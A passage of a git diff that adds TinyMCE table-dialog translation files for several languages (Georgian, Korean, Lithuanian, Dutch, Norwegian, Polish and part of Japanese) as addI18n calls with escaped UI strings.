\u3053\u306e\u307e\u307e\u3067\u306f\u76ee\u306e\u4e0d\u81ea\u7531\u306a\u65b9\u304c\u8868\u306e\u5185\u5bb9\u3084\u8868\u793a\u3055\u308c\u308b\u30c7\u30fc\u30bf\u3092\u7406\u89e3\u3059\u308b\u306e\u304c\u56f0\u96e3\u306b\u306a\u308b\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002","cell_limit":"\u30bb\u30eb\u306e\u6700\u5927\u6570\u306e${cells}\u3092\u8d85\u3048\u307e\u3057\u305f\u3002","row_limit":"\u884c\u306e\u6700\u5927\u6570\u306e${rows}\u3092\u8d85\u3048\u307e\u3057\u305f\u3002","col_limit":"\u5217\u306e\u6700\u5927\u6570\u306e${cols}\u3092\u8d85\u3048\u307e\u3057\u305f\u3002",colgroup:"\u5217\u30b0\u30eb\u30fc\u30d7",rowgroup:"\u884c\u30b0\u30eb\u30fc\u30d7",scope:"\u30b9\u30b3\u30fc\u30d7",tfoot:"\u8868\u306e\u30d5\u30c3\u30bf\u30fc",tbody:"\u8868\u306e\u30dc\u30c7\u30a3",thead:"\u8868\u306e\u30d8\u30c3\u30c0\u30fc","row_all":"\u3059\u3079\u3066\u306e\u884c\u3092\u66f4\u65b0","row_even":"\u5076\u6570\u884c\u3092\u66f4\u65b0","row_odd":"\u5947\u6570\u884c\u3092\u66f4\u65b0","row_row":"\u9078\u629e\u3057\u3066\u3044\u308b\u884c\u3092\u66f4\u65b0","cell_all":"\u3059\u3079\u3066\u306e\u30bb\u30eb\u3092\u66f4\u65b0","cell_row":"\u884c\u5185\u306e\u30bb\u30eb\u3092\u66f4\u65b0","cell_cell":"\u9078\u629e\u3057\u3066\u3044\u308b\u30bb\u30eb\u3092\u66f4\u65b0",th:"\u30d8\u30c3\u30c0\u30fc",td:"\u30c7\u30fc\u30bf",summary:"\u30b5\u30de\u30ea\u30fc",bgimage:"\u80cc\u666f\u306e\u753b\u50cf",rtl:"\u53f3\u304b\u3089\u5de6",ltr:"\u5de6\u304b\u3089\u53f3",mime:"\u30bf\u30fc\u30b2\u30c3\u30c8\u306eMIME\u30bf\u30a4\u30d7",langcode:"\u8a00\u8a9e\u30b3\u30fc\u30c9",langdir:"\u6587\u7ae0\u306e\u65b9\u5411",style:"\u30b9\u30bf\u30a4\u30eb",id:"ID","merge_cells_title":"\u30bb\u30eb\u3092\u7d50\u5408",bgcolor:"\u80cc\u666f\u306e\u8272",bordercolor:"\u67a0\u7dda\u306e\u8272","align_bottom":"\u4e0b\u63c3\u3048","align_top":"\u4e0a\u63c3\u3048",valign:"\u5782\u76f4\u65b9\u5411\u306e\u914d\u7f6e","cell_type":"\u30bb\u30eb\u306e\u7a2e\u985e","cell_title":"\u30bb\u30eb\u306e\u5c5e\u6027","row_title":"\u884c\u306e\u5c5e\u6027","align_middle":"\u4e2d\u592e\u63c3\u3048","align_right":"\u53f3\u63c3\u3048","align_left":"\u5de6\u63c3\u3048","align_default":"\u521d\u671f\u72b6\u614b",align:"\u914d\u7f6e",border:"\u67a0\u7dda",cellpadding:"\u30bb\u30eb\u306e\u30d1\u30c7\u30a3\u30f3\u30b0(cellpadding)",cellspacing:"\u30bb\u30eb\u306e\u9593\u9694(cellspacing)",rows:"\u884c",cols:"\u5217",height:"\u9ad8\u3055",width:"\u5e45",title:"\u8868\u306e\u633f\u5165/\u7de8\u96c6",rowtype:"\u884c","advanced_props":"\u9ad8\u5ea6\u306a\u5c5e\u6027","general_props":"\u4e00\u822c\u7684\u306a\u5c5e\u6027","advanced_tab":"\u9ad8\u5ea6","general_tab":"\u4e00\u822c","cell_col":"\u3059\u3079\u3066\u306e\u30bb\u30eb\u3092\u66f4\u65b0"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/ka_dlg.js b/js/tiny_mce2/plugins/table/langs/ka_dlg.js new file mode 100755 index 0000000..ff8b1be --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.table_dlg',{"rules_border":"\u10e1\u10d0\u10d6\u10e6\u10d5\u10d0\u10e0\u10d8","rules_box":"\u10d9\u10dd\u10da\u10dd\u10e4\u10d8","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"below","rules_above":"above","rules_void":"void",rules:"wesebi","frame_all":"\u10e7\u10d5\u10d4\u10da\u10d0","frame_cols":"\u10e1\u10d5\u10d4\u10e2\u10d4\u10d1\u10d8","frame_rows":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8","frame_groups":"\u10ef\u10d2\u10e3\u10e4\u10d4\u10d1\u10d8","frame_none":"none",frame:"\u10d9\u10d0\u10d3\u10e0\u10d8",caption:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8","missing_scope":"\u10d7\u10e3 \u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8 \u10d0\u10e0 \u10d8\u10e5\u10dc\u10d4\u10d1\u10d0 \u10db\u10d8\u10d7\u10d8\u10d7\u10d4\u10d1\u10e3\u10da\u10d8, \u10e8\u10d4\u10d8\u10eb\u10da\u10d4\u10d1\u10d0 \u10e7\u10d5\u10d4\u10da\u10d0\u10db \u10d5\u10d4\u10e0 \u10dc\u10d0\u10ee\u10dd\u10e1 \u10d8\u10dc\u10e4\u10dd\u10e0\u10db\u10d0\u10ea\u10d8\u10d0.","cell_limit":"\u10db\u10d8\u10e6\u10ec\u10d4\u10e3\u10da\u10d8\u10d0 \u10db\u10d0\u10e5\u10e1\u10d8\u10db\u10d0\u10da\u10e3\u10e0\u10d8 \u10d6\u10e6\u10d5\u10d0\u10e0\u10d8, $ \u10e3\u10ef\u10e0\u10d0.","row_limit":"\u10db\u10d8\u10e6\u10ec\u10d4\u10e3\u10da\u10d8\u10d0 \u10db\u10d0\u10e5\u10e1\u10d8\u10db\u10d0\u10da\u10e3\u10e0\u10d8 \u10d6\u10e6\u10d5\u10d0\u10e0\u10d8, $ \u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8.","col_limit":"\u10db\u10d8\u10e6\u10ec\u10d4\u10e3\u10da\u10d8\u10d0 \u10db\u10d0\u10e5\u10e1\u10d8\u10db\u10d0\u10da\u10e3\u10e0\u10d8 \u10d6\u10e6\u10d5\u10d0\u10e0\u10d8, $ \u10e1\u10d5\u10d4\u10e2\u10d8.",colgroup:"\u10e1\u10d5\u10d4\u10e2\u10d4\u10d1\u10d8\u10e1 \u10ef\u10d2\u10e3\u10e4\u10d8",rowgroup:"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8\u10e1 \u10ef\u10d2\u10e3\u10e4\u10d8",scope:"\u10db\u10d8\u10d3\u10d0\u10db\u10dd",tfoot:"\u10d3\u10d0\u10e1\u10e0\u10e3\u10da\u10d4\u10d1\u10d0",tbody:"\u10e1\u10ee\u10d4\u10e3\u10da\u10d8",thead:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8","row_all":"\u10ea\u10ee\u10e0\u10d8\u10da\u10e1\u10d8 \u10e7\u10d5\u10d4\u10da\u10d0 \u10e3\u10ef\u10e0\u10d8\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0","row_even":"\u10ea\u10ee\u10e0\u10d8\u10da\u10e8\u10d8 \u10da\u10e3\u10ec\u10d8\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0","row_odd":"\u10ea\u10ee\u10e0\u10e3\u10da\u10e1\u10d8 \u10d9\u10d4\u10dc\u10e2\u10d8 \u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0","row_row":"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da\u10d8 \u10e1\u10e2\u10d8\u10e0\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0","cell_all":"\u10ea\u10ee\u10e0\u10d8\u10da\u10e1\u10d8 \u10e7\u10d5\u10d4\u10da\u10d0 \u10e3\u10ef\u10e0\u10d8\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0","cell_row":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10e8\u10d8 \u10e7\u10d5\u10d4\u10da\u10d0 \u10e3\u10ef\u10e0\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0","cell_cell":"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da\u10d8 \u10e3\u10ef\u10e0\u10d8\u10e1 \u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0",th:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8",td:"\u10db\u10dd\u10dc\u10d0\u10ea\u10d4\u10db\u10d4\u10d1\u10d8",summary:"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd",bgimage:"\u10e4\u10dd\u10dc\u10e3\u10e0\u10d8 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d1\u10d0",rtl:"\u10db\u10d0\u10e0\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5",ltr:"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",mime:"MIME \u10db\u10d8\u10d6\u10dc\u10d8\u10e1 \u10e2\u10d8\u10de\u10d8",langcode:"\u10d4\u10dc\u10d8\u10e1 \u10d9\u10dd\u10d3\u10d8",langdir:"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d0",style:"\u10e1\u10e2\u10d8\u10da\u10d8",id:"\u10e1\u10d0\u10ee\u10d4\u10da\u10d8","merge_cells_title":"\u10e3\u10ef\u10e0\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10d4\u10e0\u10d7\u10d8\u10d0\u10dc\u10d4\u10d1\u10d0",bgcolor:"\u10e8\u10d4\u10d5\u10e1\u10d4\u10d1\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8",bordercolor:"\u10e1\u10d0\u10d6\u10e6\u10d5\u10e0\u10d4\u10d1\u10d8\u10e1 \u10e4\u10d4\u10e0\u10d8","align_bottom":"\u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_top":"\u10d6\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4",valign:"\u10d5\u10d4\u10e0\u10e2\u10d8\u10d9\u10d0\u10da\u10e3\u10e0\u10d8 \u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0","cell_type":"\u10e2\u10d8\u10de\u10d8","cell_title":"\u10e3\u10ef\u10e0\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","row_title":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","align_middle":"\u10ea\u10d4\u10dc\u10e2\u10e0\u10d6\u10d4","align_right":"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_left":"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","align_default":"\u10e1\u10d0\u10ec\u10d8\u10e1\u10d0\u10d3",align:"\u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",border:"\u10e1\u10d0\u10d6\u10e6\u10d5\u10d0\u10e0\u10d8",cellpadding:"\u10e3\u10ef\u10e0\u10d4\u10d1\u10e1 \u10e8\u10dd\u10e0\u10d8\u10e1 \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",cellspacing:"\u10e3\u10ef\u10e0\u10d4\u10d1\u10e1 \u10e8\u10dd\u10e0\u10d8\u10e1 \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",rows:"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8",cols:"\u10e1\u10d5\u10d4\u10e2\u10d4\u10d1\u10d8",height:"\u10e1\u10d8\u10db\u10d0\u10e6\u10da\u10d4",width:"\u10e1\u10d8\u10d2\u10d0\u10dc\u10d4",title:"\u10ea\u10ee\u10e0\u10d8\u10da\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",rowtype:"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10e0\u10d8\u10de\u10d8","advanced_props":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\u10d8 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","general_props":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","advanced_tab":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7","general_tab":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/ko_dlg.js b/js/tiny_mce2/plugins/table/langs/ko_dlg.js new file mode 100755 index 0000000..c5a1ff2 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"\uc88c\uc6b0\ubc94\uc704\ub9cc","rules_rhs":"\uc6b0\uce21 \ubc94\uc704\ub9cc","rules_lhs":"\uc88c\uce21 \ubc94\uc704\ub9cc","rules_hsides":"\uc0c1\ud558\ubc94\uc704\ub9cc","rules_below":"\uc544\ub798","rules_above":"\uc704","rules_void":"Void",rules:"Rules","frame_all":"\ubaa8\ub450","frame_cols":"\uc5f4","frame_rows":"\ud589","frame_groups":"\uadf8\ub8f9","frame_none":"\uc5c6\uc74c",frame:"Frame",caption:"\ud45c\uc81c","missing_scope":"\uc774 \ud45c \ud5e4\ub354\uc140\uc5d0 scope\uc18d\uc131\uc744 \uc9c0\uc815\ud558\uc9c0\uc54a\uc544\ub3c4 \uad1c\ucc2e\uc2b5\ub2c8\uae4c? \uc9c0\uc815\ud558\uc9c0 \uc54a\ub294 \uacbd\uc6b0, \uc2dc\uac04\uc801\uc73c\ub85c \ud14c\uc774\ube14\uc758 \uad6c\uc870\ub97c \ud30c\uc545\ud558\ub294 \uac83\uc774 \uc5b4\ub824\uc6b4 \ubd84\uc758 \uc811\uadfc\uc131\uc774 \uc800\ud558\ud569\ub2c8\ub2e4.","cell_limit":"\uc140\uc218\uc758 \uc0c1\ud55c{$cells}\ub97c \ub118\uc5c8\uc2b5\ub2c8\ub2e4.","row_limit":"\ud589\uc218\uc758 \uc0c1\ud55c{$rows}\ub97c \ub118\uc5c8\uc2b5\ub2c8\ub2e4.","col_limit":"\ub82c\uc218\uc758 \uc0c1\ud55c{$cols}\ub97c \ub118\uc5c8\uc2b5\ub2c8\ub2e4.",colgroup:"\uc5f4\uadf8\ub8f9",rowgroup:"\ud589\uadf8\ub8f9",scope:"Scope",tfoot:"\ud14c\uc774\ube14 \ud48b\ud130",tbody:"Table Body",thead:"Table Head","row_all":"\uc804\ud589\uc744 \uac31\uc2e0","row_even":"\uc9dd\uc218\ud589\uc744 \uac31\uc2e0","row_odd":"\ud640\uc218\ud589\uc744 \uac31\uc2e0","row_row":"\ud604\uc7ac\uc758 \ud589\uc744 \uac31\uc2e0","cell_all":"\ud14c\uc774\ube14\uc758 \ubaa8\ub4e0 \uc140\uc744 \uac31\uc2e0","cell_row":"\ud589\uc758 \uc804\uc140\uc744 \uac31\uc2e0","cell_cell":"\ud604\uc7ac\uc758 \uc140\uc744 \uac31\uc2e0",th:"Header",td:"Data",summary:"\uc694\uc57d",bgimage:"\ubc30\uacbd \uc774\ubbf8\uc9c0",rtl:"\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd",ltr:"\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd",mime:"Target MIME \ud0c0\uc785",langcode:"\uc5b8\uc5b4 \ucf54\ub4dc",langdir:"\ubb38\uc790 \ubc29\ud5a5",style:"\uc2a4\ud0c0\uc77c",id:"Id","merge_cells_title":"\uc140 \uacb0\ud569",bgcolor:"\ubc30\uacbd\uc0c9",bordercolor:"\ud14c\ub450\ub9ac\uc120\uc0c9","align_bottom":"\ud558","align_top":"\uc0c1",valign:"\uc218\uc9c1 \uc704\uce58","cell_type":"\uc140 \uc885\ub958","cell_title":"\uc140 \uc124\uc815","row_title":"\ud589 \uc124\uc815","align_middle":"\uac00\uc6b4\ub370 \ub9de\ucda4","align_right":"\uc624\ub978\ucabd \ub9de\ucda4","align_left":"\uc67c\ucabd \ub9de\ucda4","align_default":"\uae30\ubcf8\uac12",align:"\uc815\ub82c",border:"\ud14c\ub450\ub9ac\uc120",cellpadding:"\uc140\ub0b4 \uc5ec\ubc31",cellspacing:"\uc140 \uac04\uaca9",rows:"\ud589",cols:"\ub82c",height:"\ub192\uc774",width:"\ud3ed",title:"\ud14c\uc774\ube14\uc758 \uc0bd\uc785/\ud3b8\uc9d1",rowtype:"\ud589","advanced_props":"\uace0\uae09 \uc124\uc815","general_props":"\uc77c\ubc18 \uc124\uc815","advanced_tab":"\uace0\uae09","general_tab":"\uc77c\ubc18","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/lt_dlg.js b/js/tiny_mce2/plugins/table/langs/lt_dlg.js new file mode 100755 index 0000000..754fd7d --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.table_dlg',{"rules_border":"r\u0117melis","rules_box":"d\u0117\u017eut\u0117","rules_vsides":"vert. pus\u0117s","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hor. pus\u0117s","rules_below":"apatinis","rules_above":"vir\u0161utinis","rules_void":"negaliojantis",rules:"Taisykl\u0117s","frame_all":"visi","frame_cols":"stulpeliai","frame_rows":"eilut\u0117s","frame_groups":"grup\u0117s","frame_none":"joks",frame:"R\u0117melis",caption:"Lentel\u0117s antra\u0161t\u0117","missing_scope":"Ar norite t\u0119sti nenurod\u0119 galiojimo srities \u0161iam lentel\u0117s vir\u0161utiniam langeliui. Be nurodymo, kai kuriems naudotojams su negalia gali b\u016bti sunku suprasti lentel\u0117je atvaizduojam\u0173 duomen\u0173 turin\u012f.","cell_limit":"Vir\u0161ijote did\u017eiausi\u0105 ({$cells}) langeli\u0173 kiek\u012f.","row_limit":"Vir\u0161ijote did\u017eiausi\u0105 ({$rows}) eilu\u010di\u0173 kiek\u012f.","col_limit":"Vir\u0161ijote did\u017eiausi\u0105 ({$cols}) stulpeli\u0173 kiek\u012f.",colgroup:"Stulpeli\u0173 grup\u0117",rowgroup:"Eilu\u010di\u0173 grup\u0117",scope:"Galiojimo sritis",tfoot:"Lentel\u0117s apa\u010dia",tbody:"Lentel\u0117s vidus",thead:"Lentel\u0117s vir\u0161us","row_all":"Atnaujinti visas lentel\u0117s eilutes","row_even":"Atnaujinti lygines lentel\u0117s eilutes","row_odd":"Atnaujinti nelygines lentel\u0117s eilutes","row_row":"Atnaujinti dabartin\u0119 eilut\u0119","cell_all":"Atnaujinti visus lentel\u0117s langelius","cell_row":"Atnaujinti visus eilut\u0117s langelius","cell_cell":"Atnaujinti dabartin\u012f langel\u012f",th:"Antra\u0161t\u0117",td:"Duomenys",summary:"Apibendrinimas",bgimage:"Fono paveiksl\u0117lis",rtl:"I\u0161 de\u0161in\u0117s \u012f kair\u0119",ltr:"I\u0161 kair\u0117s \u012f de\u0161in\u0119",mime:"Paskirties MIME tipas",langcode:"Kalbos kodas",langdir:"Kalbos kryptis",style:"Stilius",id:"Id","merge_cells_title":"Sujungti lentel\u0117s langelius",bgcolor:"Fono spalva",bordercolor:"R\u0117melio spalva","align_bottom":"Apa\u010dioje","align_top":"Vir\u0161uje",valign:"Vertikalus lygiavimas","cell_type":"Langelio tipas","cell_title":"Lentel\u0117s langeli\u0173 nustatymai","row_title":"Lentel\u0117s eilut\u0117s nustatymai","align_middle":"Centruoti","align_right":"Lygiuoti de\u0161in\u0117je","align_left":"Lygiuoti kair\u0117je","align_default":"Standartinis",align:"Lygiavimas",border:"R\u0117melis",cellpadding:"Tarpas langelio viduje",cellspacing:"Tarpas tarp langeli\u0173",rows:"Eilut\u0117s",cols:"Stulpeliai",height:"Auk\u0161tis",width:"Ilgis",title:"\u012eterpti/modifikuoti lentel\u0119",rowtype:"Eilut\u0117 lentel\u0117s dalyje","advanced_props":"I\u0161pl\u0117stiniai nustatymai","general_props":"Bendri nustatymai","advanced_tab":"I\u0161pl\u0117sta","general_tab":"Bendra","cell_col":"Atnaujinti visus langelius stulpelyje"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/nl_dlg.js b/js/tiny_mce2/plugins/table/langs/nl_dlg.js new file mode 100755 index 0000000..ebc25e7 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.table_dlg',{"rules_border":"Rand","rules_box":"Box","rules_vsides":"Verticale zijden","rules_rhs":"Rechterzijkant","rules_lhs":"Linkerzijkant","rules_hsides":"Horizontale zijden","rules_below":"Onder","rules_above":"Boven","rules_void":"Geen",rules:"Hulplijnen","frame_all":"Alles","frame_cols":"Kolommen","frame_rows":"Rijen","frame_groups":"Groepen","frame_none":"Geen",frame:"Frame",caption:"Tabelbeschrijving","missing_scope":"Weet u zeker dat u door wilt gaan met het toewijzen van een kop zonder een bereik op te geven? Mensen met een visuele handicap kunnen hierdoor waarschijnlijk slecht bij de gegevens.","cell_limit":"U heeft het maximale aantal cellen van {$cells} overschreden.","row_limit":"U heeft hebt het maximale aantal rijen van {$rows} overschreden.","col_limit":"U heeft het maximale aantal kolommen van {$cols} overschreden.",colgroup:"Kolomgroep",rowgroup:"Rijgroep",scope:"Bereik",tfoot:"Tabelvoet",tbody:"Tabellichaam",thead:"Tabelkop","row_all":"Alle rijen bijwerken","row_even":"Even rijen bijwerken","row_odd":"Oneven rijen bijwerken","row_row":"Huidige rij bijwerken","cell_all":"Alle cellen in tabel bijwerken","cell_row":"Alle cellen in rij bijwerken","cell_cell":"Huidige cel bijwerken",th:"Kop",td:"Gegevens",summary:"Samenvatting",bgimage:"Achtergrondafbeelding",rtl:"Van rechts naar links",ltr:"Van links naar rechts",mime:"Doel MIME type",langcode:"Taalcode",langdir:"Taalrichting",style:"Stijl",id:"Id","merge_cells_title":"Cellen samenvoegen",bgcolor:"Achtergrondkleur",bordercolor:"Randkleur","align_bottom":"Onder","align_top":"Boven",valign:"Verticale uitlijning","cell_type":"Celtype","cell_title":"Celeigenschappen","row_title":"Rij-eigenschappen","align_middle":"Centreren","align_right":"Rechts","align_left":"Links","align_default":"Standaard",align:"Uitlijning",border:"Rand",cellpadding:"Ruimte in cel",cellspacing:"Ruimte om cel",rows:"Rijen",cols:"Kolommen",height:"Hoogte",width:"Breedte",title:"Tabel invoegen/bewerken",rowtype:"Rijtype","advanced_props":"Geavanceerde eigenschappen","general_props":"Algemene eigenschappen","advanced_tab":"Geavanceerd","general_tab":"Algemeen","cell_col":"Alle cellen in de kolom bijwerken"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/no_dlg.js b/js/tiny_mce2/plugins/table/langs/no_dlg.js new file mode 100755 index 0000000..26d1da7 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.table_dlg',{"rules_border":"ramme","rules_box":"boks","rules_vsides":"vside","rules_rhs":"hs","rules_lhs":"vs","rules_hsides":"hside","rules_below":"under","rules_above":"over","rules_void":"tom",rules:"Streker","frame_all":"alle","frame_cols":"kolonner","frame_rows":"rader","frame_groups":"grupper","frame_none":"ingen",frame:"Ramme",caption:"Tabell tittel","missing_scope":"Er du sikker du vil fortsette uten \u00e5 angi tittel for denne overskrifscellen? Uten denne kan det bli vanskelig for enkelte funksjonshemmede brukere \u00e5 forst\u00e5 innhold eller data som presenteres i tabellen.","cell_limit":"Du har overg\u00e5tt maksimalt antall tillatt celler p\u00e5 {$cells}.","row_limit":"Du har overg\u00e5tt maksimalt antall tillatte rader p\u00e5 {$rows}.","col_limit":"Du har overg\u00e5tt maksimalt antall tillatte kolonner p\u00e5 {$cols}.",colgroup:"Kolonne gruppe",rowgroup:"Rad gruppe",scope:"Tittel",tfoot:"Tabell foot",tbody:"Tabell body",thead:"Tabell head","row_all":"Oppdater alle rader","row_even":"Oppdater rader med partall","row_odd":"Oppdater rader med oddetall","row_row":"Oppdater aktuell rad","cell_all":"Oppdater alle celler i tabellen","cell_row":"Oppdater alle celler i raden","cell_cell":"Oppdater aktuell celle",th:"Overskrift",td:"Data",summary:"Sammendrag",bgimage:"Bakgrunnsbilde",rtl:"H\u00f8yre mot venstre",ltr:"Venstre mot h\u00f8yre",mime:"M\u00e5lets MIME-type",langcode:"Spr\u00e5k kode",langdir:"Skriftretning",style:"Stil",id:"Id","merge_cells_title":"Sl\u00e5 sammen celler",bgcolor:"Bakgrunnsfarge",bordercolor:"Rammefarge","align_bottom":"Bunn","align_top":"Topp",valign:"Vertikal justering","cell_type":"Celle type","cell_title":"Celle egenskaper","row_title":"Rad egenskaper","align_middle":"Midtstilt","align_right":"H\u00f8yre","align_left":"Venstre","align_default":"Standard",align:"Justering",border:"Ramme",cellpadding:"Cellefylling",cellspacing:"Celleavstand",rows:"Rader",cols:"Kolonner",height:"H\u00f8yde",width:"Bredde",title:"Sett inn/editer tabell",rowtype:"Rad i tabell","advanced_props":"Avanserte egenskaper","general_props":"Generelle egenskaper","advanced_tab":"Avansert","general_tab":"Generelt","cell_col":"Oppdater alle cellene i kolonnen"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/langs/pl_dlg.js b/js/tiny_mce2/plugins/table/langs/pl_dlg.js new file mode 100755 index 0000000..8bbe7c8 --- /dev/null +++ b/js/tiny_mce2/plugins/table/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.table_dlg',{"rules_border":"granica","rules_box":"ramka","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"pod","rules_above":"nad","rules_void":"void",rules:"Prowadnice","frame_all":"wszystkie","frame_cols":"kolumny","frame_rows":"wiersze","frame_groups":"grupy","frame_none":"brak",frame:"Ramka",caption:"Nag\u0142\u00f3wek tabeli","missing_scope":"Jeste\u015b pewny \u017ce chcesz kontynuowa\u0107 bez definiowania zasi\u0119gu dla kom\u00f3rki tabeli. Bez niej, mo\u017ce by\u0107 trudne dla niekt\u00f3rych u\u017cytkownik\u00f3w zrozuminie zawarto\u015bci albo danych wy\u015bwietlanych poza tabel\u0105.","cell_limit":"Przekroczy\u0142e\u015b maksymaln\u0105 liczb\u0119 kom\u00f3rek kt\u00f3ra wynosi {$cells}.","row_limit":"Przekroczy\u0142e\u015b maksymaln\u0105 liczb\u0119 wierszy kt\u00f3ra wynosi {$rows}.","col_limit":"Przekroczy\u0142e\u015b maksymaln\u0105 liczb\u0119 kolumn kt\u00f3ra wynosi {$cols}.",colgroup:"Grupa kolumn",rowgroup:"Grupa wierszy",scope:"Zakres",tfoot:"Stopka tabeli",tbody:"Cia\u0142o tabeli",thead:"Nag\u0142\u00f3wek tabeli","row_all":"Zmie\u0144 wszystkie wiersze","row_even":"Zmie\u0144 parzyste wiersze","row_odd":"Zmie\u0144 nieparzyste wiersze","row_row":"Zmie\u0144 aktualny wiersz","cell_all":"Zmie\u0144 wszytkie kom\u00f3rki w tabeli","cell_row":"Zmie\u0144 wszytkie kom\u00f3rki w wierszu","cell_cell":"Zmie\u0144 aktualn\u0105 kom\u00f3rk\u0119",th:"Nag\u0142owek",td:"Dane",summary:"Podsumowanie",bgimage:"Obrazek t\u0142a",rtl:"Kierunek z prawej do lewej",ltr:"Kierunek z lewej do prawej",mime:"Docelowy typ MIME",langcode:"Kod j\u0119zyka",langdir:"Kierunek czytania tekstu",style:"Styl",id:"Id","merge_cells_title":"Po\u0142\u0105cz kom\u00f3rki",bgcolor:"Kolor t\u0142a",bordercolor:"Kolor ramki","align_bottom":"D\u00f3\u0142","align_top":"G\u00f3ra",valign:"Pionowe wyr\u00f3wnanie","cell_type":"Typ kom\u00f3rki","cell_title":"W\u0142a\u015bciwo\u015bci kom\u00f3rki","row_title":"W\u0142a\u015bciwo\u015bci 